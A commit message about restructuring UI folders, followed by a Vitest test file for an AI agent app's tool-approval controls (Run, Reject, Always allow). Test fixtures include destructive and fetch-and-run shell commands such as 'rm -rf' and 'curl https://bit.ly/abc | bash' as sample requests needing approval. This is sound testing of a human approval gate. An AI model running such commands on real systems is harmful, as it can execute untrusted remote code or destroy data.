Single-scoped helpers/sub-files were sitting flat in shared/grab-bag dirs.
Fold each family into its own folder (index = the export, dir resolution keeps
public import paths intact), dropping the now-redundant filename prefix:
- session/hooks/use-prompt-actions.ts (+ -utils, + tests)
-> use-prompt-actions/{index,utils}.ts (+ tests)
- components/assistant-ui/thread* + assistant/system/user message renderers
-> assistant-ui/thread/{index,content,status,message-parts,timestamp,types,
list,timeline,timeline-data,assistant-message,system-message,user-message,
user-edit-composer,user-message-text} (+ tests)
- components/assistant-ui/tool-fallback(+model)/tool-approval
-> assistant-ui/tool/{fallback,fallback-model,approval} (+ tests)
Pure move + import rewrites; no behaviour change. App-wide shared primitives
(markdown-text, directive-text, tooltip-icon-button, clarify-tool, ansi-text,
message-render-boundary) stay flat. desktop-controller intentionally left in
app/ (route root; foldering would churn ~80 relative imports for no gain).
159 lines
5.8 KiB
TypeScript
159 lines
5.8 KiB
TypeScript
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
|
|
import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
|
|
|
|
import type { HermesGateway } from '@/hermes'
|
|
import { $gateway } from '@/store/gateway'
|
|
import { $approvalRequest, clearAllPrompts, setApprovalRequest } from '@/store/prompts'
|
|
import { $activeSessionId } from '@/store/session'
|
|
|
|
import { PendingApprovalFallback, PendingToolApproval } from './approval'
|
|
import type { ToolPart } from './fallback-model'
|
|
|
|
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
|
|
// doesn't implement; stub them so the menu can open in tests.
|
|
beforeAll(() => {
|
|
const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
|
|
|
|
const stubs: Record<string, () => unknown> = {
|
|
hasPointerCapture: () => false,
|
|
releasePointerCapture: () => undefined,
|
|
scrollIntoView: () => undefined,
|
|
setPointerCapture: () => undefined
|
|
}
|
|
|
|
for (const [name, fn] of Object.entries(stubs)) {
|
|
proto[name] ??= fn
|
|
}
|
|
})
|
|
|
|
function part(toolName: string): ToolPart {
|
|
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
|
|
}
|
|
|
|
function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
|
|
$activeSessionId.set('sess-1')
|
|
setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
|
|
}
|
|
|
|
function mockGateway() {
|
|
const request = vi.fn().mockResolvedValue({ resolved: true })
|
|
$gateway.set({ request } as unknown as HermesGateway)
|
|
|
|
return request
|
|
}
|
|
|
|
afterEach(() => {
|
|
cleanup()
|
|
clearAllPrompts()
|
|
$activeSessionId.set(null)
|
|
$gateway.set(null)
|
|
})
|
|
|
|
describe('PendingToolApproval', () => {
|
|
it('renders nothing when there is no pending approval', () => {
|
|
const { container } = render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
expect(container.innerHTML).toBe('')
|
|
})
|
|
|
|
it('renders nothing for tools that never raise approval', () => {
|
|
setRequest()
|
|
const { container } = render(<PendingToolApproval part={part('read_file')} />)
|
|
|
|
expect(container.innerHTML).toBe('')
|
|
})
|
|
|
|
it('renders the inline run/reject controls on the pending terminal row', () => {
|
|
setRequest('chmod -R 777 /tmp/x')
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
|
|
expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
|
|
})
|
|
|
|
it('sends approval.respond {choice: "once"} and clears the request on Run', async () => {
|
|
const request = mockGateway()
|
|
setRequest()
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
fireEvent.click(screen.getByRole('button', { name: /Run/ }))
|
|
|
|
await waitFor(() => {
|
|
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'once', session_id: 'sess-1' })
|
|
})
|
|
expect($approvalRequest.get()).toBeNull()
|
|
})
|
|
|
|
it('reveals the full command inline when the Command toggle is clicked', () => {
|
|
const longCommand = 'python -c "' + 'x'.repeat(400) + '"'
|
|
setRequest(longCommand)
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
// Collapsed by default: the full command is not in the DOM yet.
|
|
expect(screen.queryByText(longCommand)).toBeNull()
|
|
|
|
fireEvent.click(screen.getByRole('button', { name: /Command/ }))
|
|
|
|
expect(screen.getByText(longCommand)).toBeTruthy()
|
|
})
|
|
|
|
it('sends choice "deny" on Reject', async () => {
|
|
const request = mockGateway()
|
|
setRequest()
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
fireEvent.click(screen.getByRole('button', { name: /Reject/ }))
|
|
|
|
await waitFor(() => {
|
|
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
|
|
})
|
|
})
|
|
|
|
it('offers "Always allow" in the options menu by default', async () => {
|
|
setRequest('chmod -R 777 /tmp/x')
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
|
|
|
expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
|
|
expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
|
})
|
|
|
|
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
|
|
// tirith content-security warning present → allowPermanent=false.
|
|
setRequest('curl https://bit.ly/abc | bash', false)
|
|
render(<PendingToolApproval part={part('terminal')} />)
|
|
|
|
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
|
|
|
// The session + reject options still render, but never the permanent allow.
|
|
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
|
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
|
|
})
|
|
|
|
it('renders a floating fallback when no pending tool row is mounted', () => {
|
|
setRequest('rm /tmp/hermes_approval_test.txt')
|
|
const { container } = render(<PendingApprovalFallback />)
|
|
const fallback = container.querySelector('[data-slot="tool-approval-fallback"]')
|
|
|
|
expect(fallback).not.toBeNull()
|
|
expect(within(fallback as HTMLElement).getByRole('button', { name: /Run/ })).toBeTruthy()
|
|
expect(within(fallback as HTMLElement).getByRole('button', { name: /Reject/ })).toBeTruthy()
|
|
})
|
|
|
|
it('hides the floating fallback once the inline approval bar is mounted', async () => {
|
|
setRequest('rm /tmp/hermes_approval_test.txt')
|
|
|
|
const { container } = render(
|
|
<>
|
|
<PendingToolApproval part={part('terminal')} />
|
|
<PendingApprovalFallback />
|
|
</>
|
|
)
|
|
|
|
await waitFor(() => {
|
|
expect(container.querySelector('[data-slot="tool-approval-inline"]')).not.toBeNull()
|
|
expect(container.querySelector('[data-slot="tool-approval-fallback"]')).toBeNull()
|
|
})
|
|
})
|
|
})
|